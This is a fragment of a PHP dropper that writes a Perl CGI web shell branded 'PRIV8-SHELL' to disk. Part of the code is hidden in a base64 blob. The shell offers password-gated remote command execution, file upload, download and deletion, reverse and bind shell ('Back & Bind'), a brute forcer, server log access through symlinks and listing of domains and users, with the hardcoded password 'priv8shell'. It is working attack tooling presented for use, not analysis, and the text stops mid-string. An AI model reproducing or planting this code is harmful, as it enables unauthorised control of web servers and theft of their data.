nZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IE9wZW4gU2Fucztjb2xvcjogI2ZmZmZmZjsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLAoJCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJwoJCQkJKTsKCW15ICRpPTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJCWlmKC13ICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsKCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikKCQkJewoJCQkJaWYoLXIgJGxzKQoJCQkJewoJCQkJCSRwZXJtcz0iT0siOwoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOwoJCQkJfQoJCQl9ZWxzZQoJCQl7CgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsKCQkJfQoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJPHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ18kaScpLnZhbHVlPSdsZXNzICcgKyB0aGlzLnZhbHVlOyIgdmFsdWU9IiRsb2ciIHNpemU9JzUwJy8+PC90ZD4KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJfQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsnYSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsKIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoISRXaW5OVCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJaWYoISgkY2htb2QgZXEgMCkpCgkJewoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7CgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7CgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZighJHJlbmFtZSBlcSAiIikKCXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UKCQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERpcjsKCn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZlIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRpbnsnZmlsZSd9KSkKCXsKCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7Cgl9ZWxzZQoJewoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7Cgl9CglwcmludCAmTGlzdERpcjsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CgoJcHJpbnQgJlVwbG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOw==";
        $cgi = fopen($file_cgi, "w");
        fwrite($cgi, "#!/usr/bin/perl -I/usr/local/bandmin\nuse MIME::Base64;\n\$Version= \"PRIV8-SHELL Version 1.3\";\n\$EditPersion=\"<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;'>PRIV8-SHELL</font>\";\n\n\$Password = \"priv8shell\";\t\t\t# Change this. You will need to enter this to login.\nsub Is_Win(){\n\t\$os = &trim(\$ENV{\"SERVER_SOFTWARE\"});\n\tif(\$os =~ m/win/i){\n\t\treturn 1;\n\t}\n\telse{\n\t\treturn 0;\n\t}\n}\n\$WinNT = &Is_Win();\t\t\t\t# You need to change the value of this to 1 if\n\t\t\t\t\t\t\t\t# you're running this script on a Windows NT\n\t\t\t\t\t\t\t\t# machine. If you're running it on Unix, you\n\t\t\t\t\t\t\t\t# can leave the value as it is.\n\n\$NTCmdSep = \"&\";\t\t\t\t# This character is used to seperate 2 commands\n\t\t\t\t\t\t\t\t# in a command line on Windows NT.\n\n\$UnixCmdSep = \";\";\t\t\t\t# This character is used to seperate 2 commands\n\t\t\t\t\t\t\t\t# in a command line on Unix.\n\n\$CommandTimeoutDuration = 10000;\t# Time in seconds after commands will be killed\n\t\t\t\t\t\t\t\t# Don't set this to a very large value. This is\n\t\t\t\t\t\t\t\t# useful for commands that may hang or that\n\t\t\t\t\t\t\t\t# take very long to execute, like \"find /\".\n\t\t\t\t\t\t\t\t# This is valid only on Unix servers. It is\n\t\t\t\t\t\t\t\t# ignored on NT Servers.\n\n\$ShowDynamicOutput = 1;\t\t\t# If this is 1, then data is sent to the\n\t\t\t\t\t\t\t\t# browser as soon as it is output, otherwise\n\t\t\t\t\t\t\t\t# it is buffered and send when the command\n\t\t\t\t\t\t\t\t# completes. This is useful for commands like\n\t\t\t\t\t\t\t\t# ping, so that you can see the output as it\n\t\t\t\t\t\t\t\t# is being generated.\n\n# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!\n\n\$CmdSep = (\$WinNT ? \$NTCmdSep : \$UnixCmdSep);\n\$CmdPwd = (\$WinNT ? \"cd\" : \"pwd\");\n\$PathSep = (\$WinNT ? \"\\\\\" : \"/\");\n\$Redirector = (\$WinNT ? \" 2>&1 1>&2\" : \" 1>&1 2>&1\");\n\$cols= 150;\n\$rows= 26;\n#------------------------------------------------------------------------------\n# Reads the input sent by the browser and parses the input variables. It\n# parses GET, POST and multipart/form-data that is used for uploading files.\n# The filename is stored in \$in{'f'} and the data is stored in \$in{'filedata'}.\n# Other variables can be accessed using \$in{'var'}, where var is the name of\n# the variable. Note: Most of the code in this function is taken from other CGI\n# scripts.\n#------------------------------------------------------------------------------\nsub ReadParse \n{\n\tlocal (*in) = @_ if @_;\n\tlocal (\$i, \$loc, \$key, \$val);\n\t\n\t\$MultipartFormData = \$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/;\n\n\tif(\$ENV{'REQUEST_METHOD'} eq \"GET\")\n\t{\n\t\t\$in = \$ENV{'QUERY_STRING'};\n\t}\n\telsif(\$ENV{'REQUEST_METHOD'} eq \"POST\")\n\t{\n\t\tbinmode(STDIN) if \$MultipartFormData & \$WinNT;\n\t\tread(STDIN, \$in, \$ENV{'CONTENT_LENGTH'});\n\t}\n\n\t# handle file upload data\n\tif(\$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/)\n\t{\n\t\t\$Boundary = '--'.\$1; # please refer to RFC1867 \n\t\t@list = split(/\$Boundary/, \$in); \n\t\t\$HeaderBody = \$list[1];\n\t\t\$HeaderBody =~ /\\r\\n\\r\\n|\\n\\n/;\n\t\t\$Header = \$`;\n\t\t\$Body = \$';\n \t\t\$Body =~ s/\\r\\n\$//; # the last \\r\\n was put in by Netscape\n\t\t\$in{'filedata'} = \$Body;\n\t\t\$Header =~ /filename=\\\"(.+)\\\"/; \n\t\t\$in{'f'} = \$1; \n\t\t\$in{'f'} =~ s/\\\"//g;\n\t\t\$in{'f'} =~ s/\\s//g;\n\n\t\t# parse trailer\n\t\tfor(\$i=2; \$list[\$i]; \$i++)\n\t\t{ \n\t\t\t\$list[\$i] =~ s/^.+name=\$//;\n\t\t\t\$list[\$i] =~ /\\\"(\\w+)\\\"/;\n\t\t\t\$key = \$1;\n\t\t\t\$val = \$';\n\t\t\t\$val =~ s/(^(\\r\\n\\r\\n|\\n\\n))|(\\r\\n\$|\\n\$)//g;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} = \$val; \n\t\t}\n\t}\n\telse # standard post data (url encoded, not multipart)\n\t{\n\t\t@in = split(/&/, \$in);\n\t\tforeach \$i (0 .. \$#in)\n\t\t{\n\t\t\t\$in[\$i] =~ s/\\+/ /g;\n\t\t\t(\$key, \$val) = split(/=/, \$in[\$i], 2);\n\t\t\t\$key =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} .= \"\\0\" if (defined(\$in{\$key}));\n\t\t\t\$in{\$key} .= \$val;\n\t\t}\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML Page Header\n# Argument 1: Form item name to which focus should be set\n#------------------------------------------------------------------------------\nsub PrintPageHeader\n{\n\t\$EncodedCurrentDir = \$CurrentDir;\n\t\$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\tmy \$dir =\$CurrentDir;\n\t\$dir=~ s/\\\\/\\\\\\\\/g;\n\tprint \"Content-type: text/html\\n\\n\";\n\tprint <<END;\n<html>\n<head>\n<link href='https://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet'>\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n<title>Priv8 Shell Cgi</title>\n\n\$HtmlMetaHeader\n\n</head>\n<style>\nbody{\nfont: 10pt Open Sans;\n}\ntr {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\ncolor: #ffffff;\n}\ntd {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\ncolor: #ff1111;\nfont: 10pt Open Sans;\n}\n\ntable {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\nBACKGROUND-COLOR: #111;\n}\n\n\ninput {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\nBACKGROUND-COLOR: Black;\nfont: 10pt Open Sans;\ncolor: #ffffff;\n}\n\ninput.submit {\ntext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\ncolor: #FFFFFF;\nborder-color: #ff1111;\n}\n\ncode {\nborder\t\t\t: dashed 0px #333;\nBACKGROUND-COLOR: Black;\nfont: 10pt Open Sans bold;\ncolor: while;\n}\n\nrun {\nborder\t\t\t: dashed 0px #333;\nfont: 10pt Open Sans bold;\ncolor: #FF00AA;\n}\n\ntextarea {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\nBACKGROUND-COLOR: #1b1b1b;\nfont: Fixedsys bold;\ncolor: #aaa;\n}\nA:link {\n\tCOLOR: #ff1111; TEXT-DECORATION: none\n}\nA:visited {\n\tCOLOR: #ff1111; TEXT-DECORATION: none\n}\nA:hover {\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\n\tcolor: #ffffff; TEXT-DECORATION: none\n}\nA:active {\n\tcolor: Red; TEXT-DECORATION: none\n}\n\n.listdir tr:hover{\n\tbackground: #444;\n}\n.listdir tr:hover td{\n\tbackground: #444;\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\n\tcolor: #FFFFFF; TEXT-DECORATION: none;\n}\n.notline{\n\tbackground: #111;\n}\n.line{\n\tbackground: #222;\n}\n</style>\n<script language=\"javascript\">\nfunction chmod_form(i,file)\n{\n\t/*var ajax='ajax_PostData(\"FormPerms_'+i+'\",\"\$ScriptLocation\",\"ResponseData\"); return false;';*/\n\tvar ajax=\"\";\n\tdocument.getElementById(\"FilePerms_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action=' method='POST'><input id=text_\" + i + \"  name=chmod type=text size=5 /><input type=submit class='submit' onclick='\" + ajax + \"' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='\$dir'><input type=hidden name=f value='\"+file+\"'></form>\";\n\tdocument.getElementById(\"text_\" + i).focus();\n}\nfunction rm_chmod_form(response,i,perms,file)\n{\n\tresponse.innerHTML = \"<span onclick=\\\\\\\"chmod_form(\" + i + \",'\"+ file+ \"')\\\\\\\" >\"+ perms +\"</span></td>\";\n}\nfunction rename_form(i,file,f)\n{\n\tvar ajax=\"\";\n\tf.replace(/\\\\\\\\/g,\"\\\\\\\\\\\\\\\\\");\n\tvar back=\"rm_rename_form(\"+i+\",\\\\\\\"\"+file+\"\\\\\\\",\\\\\\\"\"+f+\"\\\\\\\"); return false;\";\n\tdocument.getElementById(\"File_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action=' method='POST'><input id=text_\" + i + \"  name=rename type=text value= '\"+file+\"' /><input type=submit class='submit' onclick='\" + ajax + \"' value=OK><input type=submit class='submit' onclick='\" + back + \"' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='\$dir'><input type=hidden name=f value='\"+file+\"'></form>\";\n\tdocument.getElementById(\"text_\" + i).focus();\n}\nfunction rm_rename_form(i,file,f)\n{\n\tif(f=='f')\n\t{\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=command&d=\$dir&c=edit%20\"+file+\"%20'>\" +file+ \"</a>\";\n\t}else\n\t{\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=gui&d=\"+f+\"'>[ \" +file+ \" ]</a>\";\n\t}\n}\n</script>\n<style>\nbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url('https://i.imgur.com/hLcQCBx.gif'); } </style>\n<body onLoad=\"document.f.@_.focus()\"  topmargin=\"0\" leftmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\n<center><code>\n<table border=\"1\" width=\"100%\" cellspacing=\"0\" cellpadding=\"2\">\n<tr>\n\t<td align=\"center\" rowspan=2>\n\t\t<b><font size=\"5\">\$EditPersion</font></b>\n\t</td>\n\n\t<td>\n\n\t\t<font face=\"Open Sans\" size=\"2\">\$ENV{\"SERVER_SOFTWARE\"}</font>\n\t</td>\n\t<td>Server IP:<font color=\"#ffffff\"> \$ENV{'SERVER_ADDR'}</font> | Your IP: <font color=\"#ffffff\">\$ENV{'REMOTE_ADDR'}</font>\n\t</td>\n\n</tr>\n\n<tr>\n<td colspan=\"3\"><font face=\"Open Sans\" size=\"2\">\n<a href=\"\$ScriptLocation\">Home</a> | \n<a href=\"\$ScriptLocation?a=command&d=\$EncodedCurrentDir\">Command</a> |\n<a href=\"\$ScriptLocation?a=gui&d=\$EncodedCurrentDir\">GUI</a> | \n<a href=\"\$ScriptLocation?a=upload&d=\$EncodedCurrentDir\">Upload File</a> | \n<a href=\"\$ScriptLocation?a=download&d=\$EncodedCurrentDir\">Download File</a> |\n\n<a href=\"\$ScriptLocation?a=backbind\">Back & Bind</a> |\n<a href=\"\$ScriptLocation?a=bruteforcer\">Brute Forcer</a> |\n<a href=\"\$ScriptLocation?a=checklog\">Check Log</a> |\n<a href=\"\$ScriptLocation?a=domainsuser\">Domains/Users</a> |\n<a href=\"\$ScriptLocation?a=logout\">Logout</a> |\n<a target='_blank' href=\"#\">Help</a>\n\n</font></td>\n</tr>\n</table>\n<font id=\"ResponseData\" color=\"#ff99cc\" >\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the Login Screen\n#------------------------------------------------------------------------------\nsub PrintLoginScreen\n{\n\n\tprint <<END;\n<pre><script type=\"text/javascript\">\nTypingText = function(element, interval, cursor, finishedCallback) {\n  if((typeof document.getElementById == \"undefined\") || (typeof element.innerHTML == \"undefined\")) {\n    this.running = true;\t// Never run.\n    return;\n  }\n  this.element = element;\n  this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });\n  this.interval = (typeof interval == \"undefined\" ? 100 : interval);\n  this.origText = this.element.innerHTML;\n  this.unparsedOrigText = this.origText;\n  this.cursor = (cursor ? cursor : \"\");\n  this.currentText = \"\";\n  this.currentChar = 0;\n  this.element.typingText = this;\n  if(this.element.id == \"\") this.element.id = \"typingtext\" + TypingText.currentIndex++;\n  TypingText.all.push(this);\n  this.running = false;\n  this.inTag = false;\n  this.tagBuffer = \"\";\n  this.inHTMLEntity = false;\n  this.HTMLEntityBuffer = \"\";\n}\nTypingText.all = new Array();\nTypingText.currentIndex = 0;\nTypingText.runAll = function() {\n  for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();\n}\nTypingText.prototype.run = function() {\n  if(this.running) return;\n  if(typeof this.origText == \"undefined\") {\n    setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\t// We haven't finished loading yet.  Have patience.\n    return;\n  }\n  if(this.currentText == \"\") this.element.innerHTML = \"\";\n//  this.origText = this.origText.replace(/<([^<])*>/, \"\");     // Strip HTML from text.\n  if(this.currentChar < this.origText.length) {\n    if(this.origText.charAt(this.currentChar) == \"<\" && !this.inTag) {\n      this.tagBuffer = \"<\";\n      this.inTag = true;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.origText.charAt(this.currentChar) == \">\" && this.inTag) {\n      this.tagBuffer += \">\";\n      this.inTag = false;\n      this.currentText += this.tagBuffer;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.inTag) {\n      this.tagBuffer += this.origText.charAt(this.currentChar);\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.origText.charAt(this.currentChar) == \"&\" && !this.inHTMLEntity) {\n      this.HTMLEntityBuffer = \"&\";\n      this.inHTMLEntity = true;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.origText.charAt(this.currentChar) == \";\" && this.inHTMLEntity) {\n      this.HTMLEntityBuffer += \";\";\n      this.inHTMLEntity = false;\n      this.currentText += this.HTMLEntityBuffer;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.inHTMLEntity) {\n      this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);\n      this.currentChar++;\n      this.run();\n      return;\n    } else {\n      this.currentText += this.origText.charAt(this.currentChar);\n    }\n    this.element.innerHTML = this.currentText;\n    this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == \"function\" ? this.cursor(this.currentText) : this.cursor) : \"\");\n    this.currentChar++;\n    setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\n  } else {\n\tthis.currentText = \"\";\n\tthis.currentChar = 0;\n        this.running = false;\n        this.finishedCallback();\n  }\n}\n</script>\n</pre>\n\n<font style=\"font: 15pt Open Sans; color: red;\">[ Priv8 Shell Cgi Telnet ]</font><br><font style=\"font: 8pt Open Sans; color: red;\">Password: priv8shell </font><br<br>\n<table align=\"center\" border=\"1\" width=\"600\" heigh>\n<tbody><tr>\n<td valign=\"top\" background=\"http://dl.dropbox.com/u/10860051/images/matran.gif\"><p id=\"hack\" style=\"margin-left: 3px;\">\n<font color=\"#ff1111\"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font> <br>\n\n<font color=\"#ff1111\"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font><br>\n<font color=\"#F00000\"><font color=\"#ff1111\">~\\\$</font> Connected ! </font><br>\n<font color=\"#ff1111\"><font color=\"#ff1111\">\$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br>\n\n<font color=\"#ff1111\"><font color=\"#ff1111\">\$ServerName~</font> Trying connect to Command . . . . . . . . . . .</font><br>\n\n<font color=\"#F00000\"><font color=\"#ff1111\">\$ServerName~</font>\\\$ Connected Command! </font><br>\n<font color=\"#ff1111\"><font color=\"#ff1111\">\$ServerName~<font color=\"#F00000\">\\\$</font></font> OK! You can kill it!</font>\n</tr>\n</tbody></table>\n<br>\n\n<script type=\"text/javascript\">\nnew TypingText(document.getElementById(\"hack\"), 30, function(i){ var ar = new Array(\"_\",\"\"); return \" \" + ar[i.length % ar.length]; });\nTypingText.runAll();\n\n</script>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Add html special chars\n#------------------------------------------------------------------------------\nsub HtmlSpecialChars(\$){\n\tmy \$text = shift;\n\t\$text =~ s/&/&/g;\n\t\$text =~ s/\"/"/g;\n\t\$text =~ s/'/'/g;\n\t\$text =~ s/</</g;\n\t\$text =~ s/>/>/g;\n\treturn \$text;\n}\n#------------------------------------------------------------------------------\n# Add link for directory\n#------------------------------------------------------------------------------\nsub AddLinkDir(\$)\n{\n\tmy \$ac=shift;\n\tmy @dir=();\n\tif(\$WinNT)\n\t{\n\t\t@dir=split(/\\\\/,\$CurrentDir);\n\t}else\n\t{\n\t\t@dir=split(\"/\",&trim(\$CurrentDir));\n\t}\n\tmy \$path=\"\";\n\tmy \$result=\"\";\n\tforeach (@dir)\n\t{\n\t\t\$path .= \$_.\$PathSep;\n\t\t\$result.=\"<a href='?a=\".\$ac.\"&d=\".\$path.\"'>\".\$_.\$PathSep.\"</a>\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Prints the message that informs the user of a failed login\n#------------------------------------------------------------------------------\nsub PrintLoginFailedMessage\n{\n\tprint <<END;\n<br>Login : Administrator<br>\n\nPassword:<br>\nLogin 